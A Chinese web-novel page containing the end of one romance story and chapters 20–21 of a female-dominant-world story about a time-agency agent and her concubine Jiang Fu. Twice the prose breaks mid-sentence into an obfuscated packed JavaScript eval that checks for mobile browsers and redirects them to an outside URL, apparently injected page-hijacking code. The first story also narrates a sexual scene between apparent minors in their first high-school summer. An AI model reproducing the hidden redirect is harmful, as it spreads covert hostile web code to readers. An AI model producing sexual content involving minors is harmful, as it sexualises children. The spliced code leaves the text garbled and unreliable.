李玉凤想忍着不问,但还是担心的紧,便在小川给李梓木喂饭的时候,忍无可忍地打断说:“她有手,小川,你别惯着毛毛了。而且再怎么说,你也是订了婚的人,虽然没领证,但你、你未婚妻能愿意你这么在毛毛病床前忙前忙后吗?” 李梓木好整以暇地揣手看着唐成川红着脸放下饭盒,而后站起身朝李玉凤勾着头,像做错了什么事情一样解释:“对不起,婶婶,我和徐慧不是真的订婚,只是帮她躲开他爸和陈海那个畜生,所以谎称订婚,用自己的名头罩着徐慧,再帮她和她男朋友逃到南方去。” “那你、你和毛毛她.......” “他是我的!小川是我的!一直都是!”唐成川还没回答,李梓木却抱紧了他的腰,像狗皮膏药一样扒在他身上。唐成川熟练地搂着她到怀里,耳根红的滴血,无奈地对李玉凤笑着应道:“是的,婶婶,我只喜欢李梓木,只要和她在一起,我怎么着都成,反正这辈子我只跟她一个人了。” 李玉成来看毛毛的时候,带了她喜欢的雪菜包子,还有小川爱吃的香菇青菜包,对于他俩小孩又扯到一起的事情,李玉成并不怎么惊讶,毕竟是看着他们从小一起长大。后来毛毛虽然像他姐一样悄无声息地离开了华安镇,但看到抽空就来照顾他的唐成川,李玉成心里就有点谱。小川还在这儿,毛毛早晚会回家的。 所以看着慌忙给他解释订婚宴真相的唐成川,李玉成摆了摆手,笑着剥颗橘子,填进嘴里含糊着说:“我知道小川你是个好孩子,叔心里什么都清楚,省省力气吧。” 唐成川无奈地坐回去,李梓木立刻没骨头似的窝到他怀里,他脸颊发烫,但还是拿了颗沃柑给她剥开,喂到嘴边吃。李梓木磨了磨牙,看着他剥橘子时,露出的手腕处,鲜红的牙印,她又牙痒了,趁着二舅转身找垃圾桶的时候,抱着他的脖子飞快啃了一口,唐成川咬住唇瓣才没有哼出声,直到摁住李梓木,他才将剥好的橘子喂到她嘴边,垂着眼小声骂了句:“变态。” 李梓木出院之后,回了家一趟,唐成川帮她拎着本就不多的行李,离开之前李玉凤没忍住追出来,还是红了眼睛,牵住毛毛的手,问她:“妈妈当初也年轻啊,毛毛,妈妈也会做错事情,你就不能原谅妈妈吗?” “妈,”李梓木依旧抽出手,只是平静地看着李玉凤,她眼里没有了小时候的哀求,也没有青春时的愤怒,毛毛只是平静地看着另一个苍老心碎的“毛毛”,她说:“我不怪您,但我也没办法替从前的自己原谅你。妈,我没办法爱你,就像年轻的时候没办法爱你的女儿一样。” 唐成川揽住李梓木的肩膀,他知道他才是李梓木的妈妈,忽然一瞬间,眼眶发烫的同时,他又觉得好庆幸。 十几岁的时候就给木头做个妈妈,也是从那时候就注定了,木头永远不可能再抛弃他,不管分开多久离开多远,玩累的孩子总是要回到妈妈身边的。 李玉凤一个人在门口站了很久,大红灯笼亮起来的时候,她忽然感觉身上发冷,望着浓稠到不能呼吸的夜色,她想起二十多年前那个晚上,她就是这么把毛毛给抛弃在了黑夜里。 而如今,长大后的毛毛雀跃地跳到小川的背上,她圈着他的脖子,依偎在他颈侧,笑眯眯说着悄悄话。而她,终于也被毛毛抛弃在了黑夜里。 一切都是注定的,从来如此。 李梓木愈发变态了,唐成川觉得这三年,要不是他偷偷打听过李梓木在律所上班,还要以为她进了什么不正经的场所呢。只不过李梓木精神好的时候,他就总舍不得拒绝她。就像他们第一次,高一暑假在李梓木的卧室,封闭的门窗里,虽然风扇开到了最大档,但他依旧黏腻地出了一身的汗。李梓木穿着睡裙,攥住少年细瘦的脚踝,她强硬地掰开,而后跪在他腿中间。唐成川忍不住想撑起身子,但他刚动一下,李梓木的眼泪就掉了下来,明明那么强硬的姿势,她却望着他哭,“妈咪,小川,我喜欢你,想亲近你,不可以吗?小川,我真的很想,我忍不住.......” “可是,男生和女生之前好像不是这........”唐成川其实已经心软了,两条长腿自己就打开了,话没说完,李梓木已经拿出准备好的东西,撩起裙子让他给自己穿上。 “没关系,小川.......”她捧着少年湿漉漉的脸颊咬了一口,笑眼弯弯,不停地亲他 ,在少年意乱情迷之中,扣紧他的十指,倾身赴欢宴。 “不疼的,我轻点,小川,别怕........放轻松一点,别怕........” “唔.......木头......哈,你、你别骗我,我们都这样了,你就唔.........”搂紧怀里的少女,少年感觉像被劈开了一样疼,可在疼痛之后,他又沉溺在李梓木滚烫的亲吻里。他眼睛湿润,颤着声音让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125206|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她承诺:“你就不能抛弃我了,木头........我都被你尚了,我只能跟着你。” 唐成川现在觉得,在床上向一个人要天长地久的承诺,实在是件很蠢的事情。但不死心的,他依旧期待能和李梓木确定下来,是,他很想结婚,即使知道结婚之后也能离婚,他还是想要那个名分。 前夫总比前男友听起来份量更重一点吧? 但唐成川也只是想想,从没有敢逼迫过李梓木,她这么弱,怕吓到了就又一声不吭逃跑了。所以又一次被咬得浑身上下没一块好肉,还刚吃完药还处于亢奋期的李梓木,犹不满足地挂在唐成川身上,被他背着到厨房做饭。 双脚只要落地,李梓木就要闹,唐成川也没办法,背着她表情无奈,但眼睛撩起,笑得暗自满足。他只穿了件背心,露在外面齿痕斑驳的皮肤透露着旖旎的风情。李梓木还在咬着他的脖子,忽然发神经一样,含糊地说了句:“要不结婚吧,刚好今天才中午唉,你受不住了,身上也全是伤不能咬,好无聊啊,那我们结........” 彭....... 菜锅又一次被掀翻,李梓木受惊之后睁圆了眼睛看着唐成川,可男人只是红着眼睛,怔怔地看了她一会,旋即抱着她直接回卧室,一言不发开始穿衣服。 但或许因为太激动,唐成川穿裤子还被绊倒,磕到地上又慌忙起身,抽出一根皮带匆匆扣好,他转过身望向盘腿坐在床上盯着他笑的李梓木。 脸颊不受控制的泛红,他翻出衣服给她套好,已经长到肩膀的头发被唐成川熟练地扎了个小揪揪。他拿好两人的身份证,最后检查一遍直接扯着李梓木出门。 路边吹来一阵阵滚烫的风,华安镇依旧是那副破败的模样,可此刻在唐成川眼里,他竟生出了一脊背的细汗,天幕辽阔,大地旷远。他甚至想要拿着喇叭冲周围的人喊。 他终于能嫁给李梓木了,他从小就喜欢的人,要娶他了。 他的爱人才没有骗他呢,他不是被抛弃的小孩。李梓木要他,李梓木也爱他。 到了民政局,进门之前有颗榕树,唐成川忽然呼吸不上来,脸颊泛红地靠在树荫下喘气,李梓木耐心地抚着他的后背,伸出胳膊抱住了唐成川,她小声地问:“唐成川,妈咪,你会不要我吗?” “我死了我也得缠着你啊,我怎么可能不要你啊,李梓木,我他妈都快被你尚坏了都不放手,你以为我欠.......” 唐成川生怕她又钻牛角尖反悔,气急了红着脸差点没骂起来,可话没说完,李梓木就偷偷亲了下他的脸,最后还是没忍住咬了一口。 双眼弯弯盛满了笑,像是快饿死的小孩得到了香甜的小蛋糕,她甜滋滋地,笑着抱住唐成川说:“我也不会不要你,妈咪,我离不开你,我认了。” 日光更甚,唐成川忽然觉得有些刺目,垂眼的瞬间,泪珠掉下来,他弯腰抱住他的木头小孩。咽下呜咽,嗯了一声,唐成川今天只想笑,不要再哭,他对自己说,然后牵住了李梓木的手。 汗津津的手握紧在一起,像他们被抛弃的童年里,无数次那样牵起彼此。 踏进那扇门,他忽然想,两个被抛弃小孩,终于要逐渐一个幸福的家了....... 真好,没有要的小孩,是彼此唯一的珍宝呢。 “李梓木.......” “嗯?” “刚才你看着我抽皮带,眼神那么变态,不过看在今晚新婚,就勉强让你抽我五十下吧.......” 20. 绑定狂徒系统后错撩病弱反派(一) 穆芃野×江浮霁 作为时管局的老油条,我被总部发配去女尊凤傲天爽文里当炮灰,自带狂徒系统的炮灰。主要任务是在前期协同君后,“玷污”病弱反派江浮霁,争取把他的腰带挂到我的肚兜上!以此促成反派被打入冷宫并且黑化的爽点,当然作为狂徒的我结局也是被杖毙下线。 穿书节点距离反派江浮霁黑化还有五六年的时间,作为富贵闲人,我迷上看戏,还顺手收了个柔弱不能自理的小戏子江伏当侧室。阿伏不仅温柔似水,持家有方,甚至随着容貌长开,竟是一日胜过一日的清艳。我感慨着自己眼光毒辣,但随着剧情结点逼近,我被系统开启“听声探心”技能,然后发现....... 亲自去酒楼接我回家的阿伏,温柔地端来醒酒汤,心里却一遍遍说:又沾上别人的味道了,好讨厌啊为什么不能把他们全杀了,那样妻主是不是就只能爱我一个人了......恭顺地帮母亲为我整理正夫人选的阿伏,目光落到我身上微微一笑,心里叹谓:没关系的芃芃,只要敢上你的床,上一个我杀一个,上两个我杀一双,我会替你处理好这些烦人精的......睡觉前把我抱在怀里,一口一口贴心喂安神汤的阿伏,目光轻柔,心里却在祈求:多要我几次吧,妻主,把我弄烂也没关系,只要怀上妻主的孩子,只要能不被丢弃,弄烂我........ 我很懵!这不是我的阿伏!我叫嚣着要系统把小白花阿伏还给我,结果遇上剧情bug直接把我卡进系统空间。莫名关了半天又放回原来位面,结果一睁眼,老天奶,你确定这个把我关在地宫,大着肚子手握利剑一袭红衣还在啪嗒啪嗒滴血的美艳孕夫是我的阿伏.......不,看着他一黑一红的标准异瞳,我终于确信了,跟我睡了六年的小白花就是他爹的大反派江浮霁啊啊啊啊啊—— 想跑,但反派抓住了我的脚,一件件沾血的衣服随着他的动作掉落,反派在笑,满脸血泪,坐在我怀里,手指颤栗却不敢碰我,江浮霁:原来把讨厌的人全都杀光,妻主就会愿意到我梦里呀....... ------------------------------------- 昭月楼新排一出戏,老板特意送来两张票。听闻昭月楼这出戏大张旗鼓预热了三个月,大致讲的就是凤傲天强占人夫,收罗后宫,相爱相杀最后打天下的剧情。 大伙儿都爱看,几个月前就一票难求了,昭月楼老板送来两张票,已经是看在我们穆府在政商两界的排面了。我拿着票,第一个想到的就是给阿伏送去。这半年来因为子嗣的问题,父亲没少为难阿伏。不仅一日二次地喝那些求子汤,连带着同房的次数都要被限制,对此我和父亲没少吵架。终于他老人家放手不管了,可阿伏却自己研制起汤药,甚至同房时还会红着脸教我用哪些姿势更易受孕,简直就是走火入魔!必须带出去好好清醒放松一下! 兴冲冲地去后院找阿伏,路上我碰到柳枝,便顺口问他可知道侧君在哪。柳枝原本被我叫住,眼睛扑闪着满脸羞怯,结果刚听到侧君两个字,就慌忙垂下眼,战战兢兢地回答:“侧君陪老太君去清莲寺祈福求子,已经去了有两个时辰了。” 原本柳枝是父亲安排到我身边伺候的家生子,眉目清秀身家也清白,本打算给我做个通房。但后来江伏进府做个侧君,贴身伺候我的活全被他一手包揽了,许久不见柳枝,我后知后觉去跟阿伏提起的时候,他才目光一凝,而后笑意温柔地继续替我梳发,说:“柳枝顾念着他爹,年纪又小,我想着就索性还放还到老太君院里,跟着他爹伺候也好有个帮衬。” “我们阿伏就是人美心善。”原本我在府上就是个米虫,全靠嘴甜讨得母父欢心,所以习惯性就对身边的人飚几句骚话。还好阿伏受用,每次都红着耳根,垂眸羞怯的模样,惹得我总要捧着阿伏的脸亲上几口才舒坦。 知道了阿伏的去处,我想起这段时间父亲失眠头疼,还是阿伏不计前嫌,为他找来药方配合着针灸治疗,才终于调理过来。现在他们难得关系破冰,作伴去寺庙祈福,也是个休闲消遣的方式。所以我决定还是去找方和月一起去昭月楼看戏吧,刚好去方府探望下她哥哥方逸明。 方家和穆家算是世交,我和方和月方逸明打小一起在金鸣城混大的,方逸明为人方正,虽是男子但饱读诗书,经常像个老学究一样教训方和月。原来方和月还打趣说日后哥哥嫁不去出,就一顶轿子送到穆府给我,床上做夫郎,床下做老师。我当时也浑说她敢送我就敢要,但后来江伏先被抬进了我的院子,方逸明也渐渐对我疏远,前些日子方府老太君寿诞,我和阿伏去吃席,醒酒时遇到方逸明,同他说了几句话,又嘱咐他注意身体。但说完这话,那天在席上,就听闻了方逸明落水,好险才被路过的护院给救上岸。只不过在宾客面前浑身湿透,又被女子抱在怀里,还是损害了方逸明的名声,导致他忧愤之下,缠绵病榻一直到了今日。 其实我早就打算去看望方逸明,但阿伏又劝说,“阿伏知道妻主和方公子青梅竹马,情谊深厚。但男子遭遇此事,本就在名节上有损,妻主作为外女,贸然探望,只会给外人留下口舌,对方公子有害而无利呀。” “也是,多亏阿伏体贴。不过......”我咂摸着他的话,总觉得不对劲,捏住阿伏的下巴,凑近了注视着他的眼睛,认真地问:“青梅竹马,情谊深厚,这词越听越酸啊,阿伏你是不是吃醋了?”阿伏眼尾发烫,目光躲闪,浓密的眼睫扇落,停顿好一会,才闷着声音说不敢。 这就是吃醋了!捧住阿伏的脸亲了一下,我揉乱他的头发,搂着他的细腰推到书桌上,阿伏低头看着我,目光羞怯而眷恋。阿伏媚丽的容貌在光影中甚至染上一丝丝神性,更加高不可攀了。我忽而觉得有些陌生,不自觉后退半步,却又被阿伏搂住脖子拽到他双腿之间。 “妻主,接下来不是要亲阿伏,要脱掉阿伏的衣裳吗?为什么不动........”阿伏蹭着我的额头,委屈地问。 我回过神,被他凑近的眉眼美得心头发颤,定了下神。我咬了下阿伏的唇珠,含含糊糊地说:“没有.......唔刚才在开机,唔别.......别想了,阿伏,美人,快给我嘴一个.......” 方府离穆府就两条街的距离,我自己收拾一下,让柳枝给阿伏传个信,就拿着票慢悠悠地出府去找方和月。到了方府后宅,我先是将准备好的补品交给管家,而后又被小厮叫住,说是方逸明想要见我。虽然奇怪,但我还是走到方逸明院里,隔着一扇窗户跟他说话。方逸明披了件丝瓜白的云锦外衫,墨发披散,拨弄着手里的珊瑚手串,说:“那日我落水,挣扎之间似乎看到你的侧君,在后院假山后冷冷地盯着我。只怕那江侧君没有你想得那般简单,芃芃,你.......” “你也说了是似乎,这种不确定的事情,不要随便说出来,方逸明,这样会给阿伏带来困扰的。他身份本就低微,在穆府处处伏低做小,很不容易的。希望这番话在我这里打住,不要继续传到其他人耳朵里。” 我摆了摆手不想继续听方逸明说话,甚至气得转身就要离开,结果身后传来珠子相撞的清脆声响,我回头,看到方逸明手中那串我送给他的珊瑚手链被拽断,他低着头,目光落在滚动的珠子上,平静地说:“穆芃野,你选错了,你会后悔的......” 从方逸明院子里出来,我就有些气不顺,等到方和月梳妆结束,揽着我的胳膊兴致勃勃去逛昭月楼时,我才忍不住问:“你们为什么都不喜欢江伏呀?他没有惹过你们吧?” 方和月顿住,看了下我的脸色,还是坦白了:“其实没有不喜欢江侧君,只是他太好了,你知道吗?芃芃,你就没怀疑他为什么事事都做的完美,处处合你心意,若不是心机深沉有意逢迎,还真.......” “好好好,我懂了,你们这是嫉妒啊朋友,你是不是嫉妒我有完美娇夫?!”跳起来拍了下方和月的后背,我终于找到理由说服自己,“啧啧啧,也不怪你,毕竟像我和阿伏这样的天作之合灵魂伴侣实在少见,你们不理解也正常,哼哼。” 方和月拍开我的手,闻言翻了个白眼:“贪图江伏的美色你就直说,切,我又不会笑话你。” 这话说的........倒是没错。我遇到江伏那年,就是在昭月楼,当时十五岁的我和方和月一群书院的同学,年考之后去包厢放松。胆子大的师姐点了个歌伎,来包厢唱小曲,一群书院的姑娘家假装潇洒风流,其实谁也没敢接歌伎递来那杯酒。我当时喝得多,晕乎乎地接过来那杯甜酒,还没喝下就被歌伎搂到怀里。昭月楼的少爷们最会踩着低俗的下限调情,当时那歌伎捏着我的脸,轻笑着说:“好一个粉雕玉琢的小妹妹,这么嫩的年纪,你们家大人倒也舍得放你出来喝花酒。” 我本来就娃娃脸,圆脸圆眼睛,在女尊国是很没有异性缘的长相。歌伎这番话又□□心窝子一刀,我不忿地推开他跑到包厢外醒酒。走廊也很热闹,我正靠着栏杆吹风,就听闻右手边尽头的房间发出一声尖叫,昭月楼的小侍叫嚷着杀人了杀人了,顿时楼里闹做一团,许多看客推攘着往那房间门口去挤。 拍了下发烫的脸颊,我挤在看客里也跟了过去,刚到房间门口就闻到浓烈的血腥味,还夹杂着甜腻的催轻香的味道。我被两个客人夹着杵在门口,刚好顺着我的视线看过去,就是一个披头散发的少年,跪在地上抱着男人的尸体,雪白的里衣沾着殷红的血,他跪着,低头发丝被血泪给黏在脸上,看不太清楚眉眼,但像极了山茶花一大朵一大朵地从枝头坠落。 我心跳得快,不知道是被热的还是渴的或者是喝醉了。很快昭月楼的老板挤进房间内,把床上惨死的票客抬走,又命人去夺地上男人的尸体。可少年将男人搂得紧,双目猩红,像只失去庇佑的小兽,瑟瑟发抖地露出獠牙。 护卫不耐烦地扯住少年的头发,拽到一边,我心头紧了紧,没来得及思考就像炮仗似的冲进屋内,众人纷纷看向我,连带着地上满脸血泪的山茶花少年。被架到“台面”上,这时候退无可退了,我强装镇定,其实脑袋还有些发晕,学着母亲每次骂人前,我清了清嗓子,起范对老板说:“这少年既是你们楼里的人,怎么能如此粗鲁地对待?不是说昭月楼是风雅场所吗?怎么还当众殴打男子呀,我最看不惯打男人的女人了。” “呦,小姐您这话倒是说的我摸不着头脑了。这小子亲爹是昭月楼的红倌人,现在亲爹死了,他一个杂种自然也是要卖身乞食。再者说了,他亲爹和客人殉情,坏了我们楼里的风水,我自然要把这笔账记在他儿子身上!” 当时十五岁之前,家里是不许我去昭月楼这种场所的,所以老板没认出我,只当是书院里的学生,没好气地讥讽。不过也巧,我这人最受不得挑衅,本来醉酒就热血上头,恰好老板说完,地上的少年又隔着泪雾,淡漠地望了我一眼,他似乎也不相信我会救他,或者说他不相信会有人愿意救他。 好一个要强的小美人,但恭喜你,以后可以不用要强了,因为你的强来啦!!! 我迎着少年的目光,一把拽下贴身的白玉雕花佩,扔给老板之后,又在怀里摸了摸,把脖子里挂的金锁和一袋子银子统统都丢给了昭月楼的老板。在她愣神时,我提着裙子噔噔跑到少年面前。他跪伏在地上,我便蹲下身,平视着少年,我伸手一点一点将他黏在颊边的发丝拢到耳后,一张美丽青涩的脸露出来,沾着泪水,湿漉漉的好似浓雾里的山茶花。 呼吸微顿,醉酒的脑子一时之间又接受了美丽暴击,我说不出来话,嘴唇张张合合,最后捧着少年的脸,脱口而出:“吃了吗?” 你在说什么啊啊啊啊穆芃野!心里狂吼,我注意到少年微睁的眼睛,一激动,立刻秃噜出第二句:“美人,没吃的话要不陪我吃点?” 很好,穆芃野,你果然打小就是个当狂徒的好苗子....... 那天晚上我把小美人带到六楼的包间,他叫了桶水洗澡,我胡乱点头,吃了两口橘子,听着屏风后哗啦啦的水声,渐渐地就歪在榻上睡着了。朦胧之间觉得颈间有一阵刺痛,但很快又被轻轻揉了揉,我咂巴着嘴将脸贴上去,压着那处柔软,睡得更香。第二天醒过来,少年依偎在我身边,呼吸清浅,发丝披散着掖在我衣领里,他的胳膊还被我压着,我刚起身,他就也醒了,面色发白,翠眉微蹙说:“小姐您醒了昨夜您睡得沉,我也把您抱到床上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“你的无敌芃芃七十二变大猛一!!”我趴在窗户边小声地说,话音刚落,窗扇上的人影就动了,好似皮影戏里的美人,鲜活起来。阿伏开窗将我拉进去,端上来准备好的八宝茶,又说:“明明可以敲门进来的,你非要爬窗户,不知道什么趣味.......” “这是西门庆和潘金莲的cosplay耶!”我兴奋地眼睛发亮,而阿伏脸颊却漫洇开绯红,因为听我讲过水浒传,便立刻明白过来我话里的意思。背过身不再看我,阿伏将手帕扔过来,轻飘飘盖在我手背上,说:“我体谅女君年纪小,说些荤话,多半也是被外头那些狐朋狗友给带坏了。只是在我面前说无妨,毕竟我是你买来的一个解闷的玩意,可以随意作践。但外头那些郎君,听到小女君这些话,可是要恼你的。” “没有,”见阿伏当真了,我立刻跪到榻上,膝行到他身边,强行掰过他的脸解释:“我没有作践你,我是嘴巴坏,和谁都爱开玩笑。而且我是真的很喜欢你,是那种你当了别人夫郎,我也要偷偷翻墙和你幽会的喜欢。所以我才说我们是潘金莲西门......” “穆芃野,小女君,我不给别人当夫郎。”阿伏转过身,忽然很郑重地打断我,目光冷凝,又在望向我时融化,蜜色的烛光流淌,少年第一次倾身抱住我,献上承诺:“是你在我浑身血淋淋的时候买了我,这辈子,做奴做伎,我也只跟着你。” 就这么半夜偷偷转狗洞去见阿伏的日子,我过了半年,直到母亲去京城谈生意,回来后却发热不止,医师说是感染了罗义毒。京中各国商人聚集,酒楼茶肆之地更是汇集三教九流,罗义毒就是从西北边境去流传到中原地带的蛊毒。医师束手无策,连连叹气后告诉父亲,这种蛊毒只有婆罗国祭司一脉的后人以血肉为药引,服够七天七夜才能解毒。 这番话无疑是判了母亲死刑,且不说金鸣城距离西北边境路途遥远,单是婆罗国祭司一脉的后人,就已经是凤毛麟角,踪迹难觅了。府里大乱,我的禁足自然也被解开了,父亲伺候在母亲病床前,两天两夜都没有阖眼。我亲自蹲在药房熬药,想要联系时管局,却被告知在剧情节点开始之前,系统处于待机状态,对宿主请求不予理会。 我真的没有办法了,守着药炉,眼泪啪嗒啪嗒地掉。其实我本来就不算是公私分明的人,对待系统任务,极容易代入情感。所以系统每次都给我分配上线即炮灰的角色,避免我感情用事搞砸任务。只是这次时管局顶层内斗,新开发的狂徒系统需要测试完善,没有人愿意浪费时间和积分。于是就把我顶了出去,谁让我每次都业绩垫底只接炮灰任务.......为了更好的测试新系统,当局把我投入位面的时间节点调成胎穿,所以在这个世界的十五年,于系统来说只是一串数据,但对我却是真实的十五年。 这十五年里的母父之爱、朋友之爱,是切实温暖着我的。所以,怎么才能不让母亲死掉呢?我咬住手背,强迫自己冷静去想,可眼泪还是被苦涩的蒸汽烫得一颗颗掉。这时窗户笃笃响了两声,我眨掉眼泪,疑惑间还未出口问出声,药房的窗户被从外面推开。月色下阿伏扶着窗台,发梢沾着草屑和花瓣,眼里漫着血丝。抿了下干燥的唇瓣,阿伏翘起唇角,惨白地笑着问:“两夜没来找我,为什么?小女君腻了吗?” 我很难想象自己扑到窗台抱住阿伏哭的样子有多狼狈,抱住他的胳膊,我扁着嘴巴,在家人面前强装的镇定被击溃,呜呜咽咽哭得喘不上气。少年怔住,身体有些僵硬,但还是下意识揽住我的肩膀。阿伏的手一下一下拂过我的脊背,声音有些艰涩,他用脸蹭过我脸上的泪水,说:“别哭了,你这么哭,我舍不得怨你不来找我了。” 抱着阿伏缩在药房的角落里,我和他说了母亲的病。阿伏揉着我的后颈,安静地听着。忽而又垂下眼睫,从腰间掏出一把匕首,他起身走到药壶边,回头问我:“你是说用婆罗国祭司一脉的血肉做药引就可以吗?” 来不及思考为什么阿伏来找我会带匕首,我下意识点头,而后瞬间,耳畔就响起刀刃割破血肉的声音,铁锈腥味混着苦涩的水汽弥漫,鲜红的血流过雪白的手腕,又顺着指尖,滴答滴答落入药壶里。阿伏转过身,月色晕开血红的光影,面色苍白,但少年眉眼却很平静,望向我的目光有一丝讨好和期待,他歪了歪头问:“这样呢?你有没有开心一点?” “开心的话,小女君,你明晚是不是就会继续去昭月楼见我了?” 21. 绑定狂徒系统后错撩病弱反派(二) 那晚阿伏钻狗洞爬进穆府之后,就再也没回去昭月楼。我没想过他就是婆罗国祭司一脉的后人,但攥住他血淋淋的手,我说出不来话,心里隐隐觉得恐惧。但阿伏的血温热而黏腻,我们的手牵着一起,十指相扣的瞬间,我确信我不能放开他。 母亲用完以阿伏鲜血为引的汤药,七日之后退烧,果然好了起来。父亲虽然介意阿伏的出身,但看着少年白衫之下血痕斑驳的手臂,到底说不出来狠话,允许了阿伏作为侧君被抬进穆府,也是报答他的救命之恩。 成亲那天,府里只摆了简单的家宴,阿伏被一顶轿子从后门抬进婚房。而在前厅,父亲盯着我不许多喝酒,所以我早早就从席面上溜走,跑到后院去找阿伏。 作为新嫁郎的少年端坐在喜床上,我推门进去,一边跑一边喊他的名字。少年盖着鸳鸯戏水的盖头,被我猛地拽了下袖子,盖头歪了,他忙坐回去,扯正后埋怨地说:“今日是我们的洞房花烛,小女君你一点都不重视吗?不掀盖头,怎么在月老跟前记下百年好合的姻缘?” “难道.......妻主不想和我百年好合吗?”少年幽怨地问,我则被妻主这个称呼给激到,脸颊有些发烫,莫名的热血起来,我忙声道了不是,然后鼓着腮帮子大气,伸手猛地掀开了喜帕,烛影摇曳下,终于露出一张媚丽青涩的面孔。 阿伏涂了口脂,来掩盖这段时间放血做药引的虚弱。烛光落在他的唇上,透出潋滟细碎的水光。他抬眼只是看着我,就像被揉烂的樱桃,鲜妍的汁水将滴未滴。 双手撑在少年膝上,我俯身,完全无意识地被吸引过去,目光落在他唇上,声音干涩,我问阿伏:“这个口脂、口脂甜吗?是玫瑰花蜜做的吗?” 阿伏凑近,气息纠缠,发髻间步摇轻响,他主动啄了一下我的唇,黏腻的口脂在分开时,似乎在不舍地拉扯着我们彼此的唇瓣。阿伏搂着我的脖子,莞尔轻笑:“甜不甜?妻主亲自尝尝不就知道了?” 阿伏说完这句话,我像得到指令一般,捧着他的脸亲了好久,最后喘不上气才分开。他唇上的口脂被吃没了,但唇瓣依旧嫣红,涂着一层潋滟水光,眼眸潮湿地看着我。少年的发髻不知何时散了,几缕发丝垂在颊边,阿伏蹭了蹭我,像温驯的猫,牵着我的手问:“所以你今晚只打算吃我的口脂吗?不打算吃我........” “不行,不不不行的,”我吓得满脸通红,从阿伏怀里爬出去,抵着他的膝盖,教训道:“我们现在年纪还很小,过早的杏行为对身体不好,而且,而且........” “而且什么?穆芃野,你是不是不会啊?”江伏也跪坐着,眯起眼睛有些嘲弄地看我。好嘛,在女尊国生活这么多年,说没有一点大女子主义是假的。新婚的美娇郎笑眯眯地质疑我不行?!这忍不了,推着阿伏的肩膀将他扑到床上,他腰肢软,一推就倒,甚至还伸手揽住我的脖子,愉悦地撩起眼尾在笑,静等我的下一步动作。 可狂徒系统只说我的身份是狂徒,也没说狂徒该怎么做啊.......窘迫地冒了一脊背的汗,我低头看着发丝凌乱、唇瓣红肿,一副被蹂/躏的良家妇男模样的阿伏,忽然想到好玩的事情,笑着趴在他耳边小声说。 阿伏蹙了蹙眉,我心里得意,自觉这样肯定能吓退他这种未经人事的女尊国少年。可没料到,阿伏弯唇,开口竟然是:“还以为怎么样呢?原来就这?” 啊?啊!这是什么眼神?请问我是被歧视了吗? 我红着脸还没反应过来,而身下的阿伏已经垂下眼睫,再望过来时,眼尾晕红,泪花细碎地黏在睫毛上,一身喜服的少年唇角勾着一缕发丝,无助地微微扬起雪白的脖颈,启唇含着隐忍的哭腔,说:“不要,不要呜.......不可以亲脖子,小女君,会被呜.......会被家里那个发现的........” 他在我耳边说话,湿热的气息烫得我简直要滚下床,而我刚有动作,阿伏又勾住我,我被他困在怀里,眼尾泪痕仍在,阿伏却捏着我的脸笑眯眯地问:“不是妻主要玩狂徒和人夫的把戏吗?怎么?现在害怕了?” “怎么害怕了?一点都不害怕!”我壮着色胆,低头在阿伏唇上咬了一下,反驳:“哼哼,小郎君,我可是要穿着你妻主的睡衣上你噢!怕不怕你怕......” “不怕,”唇角忽然被亲了一下,阿伏搂住我的脖颈,眼里漾开温柔的笑意,细碎的光黏在泪痕上,他凝睇着我,回答:“我不怕,因为我的妻主就在这里,就是你。” ------------------------------------- 昭月楼这些年整改许多,又换了老板,至少明面上卖身的交易少了许多,多推出弹琴唱曲之类的清倌儿吸引看客,还真有几份风雅场所的气派来。不过我和方和月一直都是昭月楼的常客,她看戏我吃饭,好在家中贤夫心胸宽阔,每次都亲自套上马车到昭月楼接我,从未见阿伏有过怨言,连方和月都忍不住感慨:“你家这江侧君,要么就是真的贤惠到能立地成佛百忍成金,要么就是压根不爱你不在乎你。” 其实我只当这家伙在穷酸,并未如何往心里去,毕竟家有贤夫的滋味不足为外人道也。只不过偶尔醉酒,我也蹭在摇摇晃晃的马车里,捧住阿伏的脸,朦胧月色下,少年的眉眼缥缈起来,好似抓不住的云端月。我忽然难过地问阿伏:“昭月楼里经常有夫郎去捉自家妻主,拈酸吃醋的模样虽然不够体面,但也是着实在乎自己妻主。可是阿伏就从来不会吃醋呢.......” 醉酒的人手劲大,我没注意把阿伏的脸都捏红了,松开他歪到一边,我难受地扯了扯领子,将要昏睡过去时,却又听见一声叹息,夹杂着天真的疑问。 “可是妻主.......不是你说最喜欢温柔似仙子的郎君吗?” 温热的手盖住我的眼睛,少年的发丝落在我颈间,一阵痒意混杂着跳动的脉搏,我感觉到唇瓣被咬了一下,但刺痛之后又被温柔舔舐,仿佛蛇妖收起毒牙,又变回楚楚动人的郎君。 “不要尝试挪开堵着泉眼的石头,小女君,你会被爱欲的浪潮一口吞掉的。” 今天在昭月楼这场戏听得我不舒服,台上演到被强掳的人夫对主角产生爱慕时,我就想起身离开了。但方和月倒是看得起劲,拉着我又续了一壶茶。夜色渐浓,台下情绪也高涨,中场休息时,助兴的舞伎穿着单薄的纱衣,脚下打着旋往看客席去转。我本来就胸闷气短,不知为何心脏砰砰地跳,脸颊到耳根都晕开一片闷红。正忍不住蹬开椅子起身,一个深色皮肤的异国舞伎却揽住我的脖子,直接坐进我怀里。 他身上脂粉气浓,为了止汗还涂了罗兰香膏。黑色的卷发像香艳的钩子,被他捏着去搔弄我的鼻尖。这异国舞伎的中原话还说不清楚,音色低沉,含混开口时竟有些缱绻:“女君不喜欢看我跳舞吗?可奴还想去楼上单独给您跳舞呢,你身上的味道,干净,我喜欢.......” “我衣裳的熏香都是我郎君调的,我们妻夫一个味,你喜欢我郎君?” 